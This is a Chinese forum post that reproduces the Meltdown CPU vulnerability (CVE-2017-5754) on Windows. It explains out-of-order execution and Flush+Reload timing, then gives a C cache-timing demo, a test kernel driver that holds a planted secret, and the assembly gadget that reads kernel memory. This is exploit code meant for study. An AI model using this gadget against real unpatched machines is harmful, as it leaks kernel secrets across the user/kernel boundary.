-
-
[原创]CVE-2017-5754 Meltdown 复现
-
发表于: 2023-1-27 23:14 11851
-
页表条目中有一个 U/S 位,内核空间的地址会将这个位设置为 0,所以只有当 CPU 切换到内核模式时,这些内存才能被访问,应用程序访问这些地址会产生异常。
这个机制让操作系统将内核和应用程序隔离开来,因而系统能将内核映射到进程的虚拟地址空间,在保证数据安全的情况下,提高系统调用的效率。
但是 Meltdown 漏洞熔化了硬件机制所规定的安全边界,让用户程序得以访问到映射到内核空间的数据,U/S 位没有起作用。这破坏了我们之前对于 CPU 的基本假设,本来安全的操作系统变得不再安全。
Flush+Reload 不是 Meltdown,也不是 Meltdown 的成果,是一种比较好实现的利用 Meltdown 的方法。
当程序来到第 20 行,读取了非法内存地址,在触发异常之前的这一小段时间,后续的指令可能会被乱序执行。
乱序执行的时候 probe_array 的数据可能已经从内存取出,更新到缓存中了。访问已经缓存的数据要比直接访问内存快得多,所以我们可以通过判断访问数据的时间,探测指定地址的内存是否已经被缓存了。
用一句话概括 Meltdown:在乱序执行时,有些 CPU 忘记检查 U/S 位了,导致数据被读取了,虽然操作会被撤销,但数据会被缓存,产生了副作用,可利用 Flush+Reload 等方法利用这个副作用探测到内核的数据。
编写一个驱动,在内核中申请一片内存,存放秘密数据,用来给 ring3 用 Meltdown 盗取。驱动还启动了一个线程,不断读写这片内存,迫使 CPU 缓存这些数据,提高盗取的成功率。
ring3 利用 Meltdown 的核心函数是 void OutOfOrderExecution(void* target, void* probe_array, void* null);
使用方法是
调用后 probe_array 中的一些行会被缓存,统计每一行的访问时间,即可探测出一个位的数据。完整代码如下:
#include <stdio.h>
#include <excpt.h>
#include <intrin.h>
#include <stdint.h>
uint8_t probe_array[
256
][
4096
];
/
/
探针数组
uint64_t access_time[
256
];
/
/
记录访问时间
int
main()
{
uint8_t secret
=
42
;
uint8_t
*
p
=
&secret;
for
(size_t i
=
0
; i <
256
; i
+
+
)
_mm_clflush(&probe_array[i]);
__try
{
*
(uint32_t
*
)NULL
=
0
;
probe_array[
*
p][
0
]
+
+
;
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
for
(size_t i
=
0
; i <
256
; i
+
+
)
{
uint32_t aux;
uint64_t a
=
__rdtscp(&aux);
probe_array[i][
0
]
+
+
;
uint64_t b
=
__rdtscp(&aux);
access_time[i]
=
b
-
a;
}
for
(size_t i
=
0
; i <
256
; i
+
+
)
printf(
"%llu,"
, access_time[i]);
}
#include <stdio.h>
#include <excpt.h>
#include <intrin.h>
#include <stdint.h>
uint8_t probe_array[
256
][
4096
];
/
/
探针数组
uint64_t access_time[
256
];
/
/
记录访问时间
int
main()
{
uint8_t secret
=
42
;
uint8_t
*
p
=
&secret;
for
(size_t i
=
0
; i <
256
; i
+
+
)
_mm_clflush(&probe_array[i]);
__try
{
*
(uint32_t
*
)NULL
=
0
;
probe_array[
*
p][
0
]
+
+
;
}
__except (EXCEPTION_EXECUTE_HANDLER) {}
for
(size_t i
=
0
; i <
256
; i
+
+
)
{
uint32_t aux;
uint64_t a
=
__rdtscp(&aux);
probe_array[i][
0
]
+
+
;
uint64_t b
=
__rdtscp(&aux);
access_time[i]
=
b
-
a;
}
for
(size_t i
=
0
; i <
256
; i
+
+
)
printf(
"%llu,"
, access_time[i]);
}
#include "win10.h"
#include "x64.h"
#include "secret.h"
PWSTR Secret;
HANDLE ThreadHandle;
BOOLEAN ThreadStopFlag
=
FALSE;
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint(
"再见! %wZ\n"
, &DriverObject
-
>DriverName);
ThreadStopFlag
=
TRUE;
ZwWaitForSingleObject(ThreadHandle, FALSE, NULL);
ZwClose(ThreadHandle);
ExFreePool(Secret);
}
VOID
StartRoutine(PVOID StartContext)
{
UNREFERENCED_PARAMETER(StartContext);
KeSetSystemAffinityThread(
1
);
UINT32 Junk
=
0
;
size_t SecretLength
=
wcslen(Secret);
LARGE_INTEGER Inteval
=
{ .QuadPart
=
-
10000
};
while
(!ThreadStopFlag)
{
for
(size_t i
=
0
; i < SecretLength; i
+
+
)
{
Junk ^
=
Secret[i];
Junk
+
+
;
KeDelayExecutionThread(KernelMode, FALSE, &Inteval);
}
}
PsTerminateSystemThread(STATUS_SUCCESS);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrint(
"你好! %wZ\n"
, &DriverObject
-
>DriverName);
DriverObject
-
>DriverUnload
=
DriverUnload;
Secret
=
ExAllocatePool2(POOL_FLAG_NON_PAGED,
4096
,
'xxxx'
);
if
(!Secret)
return
STATUS_MEMORY_NOT_ALLOCATED;
wcscpy(Secret, SecretData);
NTSTATUS Status
=
PsCreateSystemThread(&ThreadHandle,
0
, NULL, NULL, NULL,
StartRoutine, NULL
);
if
(!NT_SUCCESS(Status))
{
ExFreePool(Secret);
return
Status;
}
DbgPrint(
"Secret @ %p\n"
, Secret);
return
STATUS_SUCCESS;
}
#include "win10.h"
#include "x64.h"
#include "secret.h"
PWSTR Secret;
HANDLE ThreadHandle;
BOOLEAN ThreadStopFlag
=
FALSE;
VOID
DriverUnload(PDRIVER_OBJECT DriverObject)
{
DbgPrint(
"再见! %wZ\n"
, &DriverObject
-
>DriverName);
ThreadStopFlag
=
TRUE;
ZwWaitForSingleObject(ThreadHandle, FALSE, NULL);
ZwClose(ThreadHandle);
ExFreePool(Secret);
}
VOID
StartRoutine(PVOID StartContext)
{
UNREFERENCED_PARAMETER(StartContext);
KeSetSystemAffinityThread(
1
);
UINT32 Junk
=
0
;
size_t SecretLength
=
wcslen(Secret);
LARGE_INTEGER Inteval
=
{ .QuadPart
=
-
10000
};
while
(!ThreadStopFlag)
{
for
(size_t i
=
0
; i < SecretLength; i
+
+
)
{
Junk ^
=
Secret[i];
Junk
+
+
;
KeDelayExecutionThread(KernelMode, FALSE, &Inteval);
}
}
PsTerminateSystemThread(STATUS_SUCCESS);
}
NTSTATUS
DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
UNREFERENCED_PARAMETER(RegistryPath);
DbgPrint(
"你好! %wZ\n"
, &DriverObject
-
>DriverName);
DriverObject
-
>DriverUnload
=
DriverUnload;
Secret
=
ExAllocatePool2(POOL_FLAG_NON_PAGED,
4096
,
'xxxx'
);
if
(!Secret)
return
STATUS_MEMORY_NOT_ALLOCATED;
wcscpy(Secret, SecretData);
NTSTATUS Status
=
PsCreateSystemThread(&ThreadHandle,
0
, NULL, NULL, NULL,
StartRoutine, NULL
);
if
(!NT_SUCCESS(Status))
{
ExFreePool(Secret);
return
Status;
}
DbgPrint(
"Secret @ %p\n"
, Secret);
return
STATUS_SUCCESS;
}
.CODE
OutOfOrderExecution PROC
mov r8, qword ptr [r8]
movzx rax, byte ptr [rcx]
shl rax,
12
mov al, byte ptr [rdx
+
rax]
ret
OutOfOrderExecution ENDP
END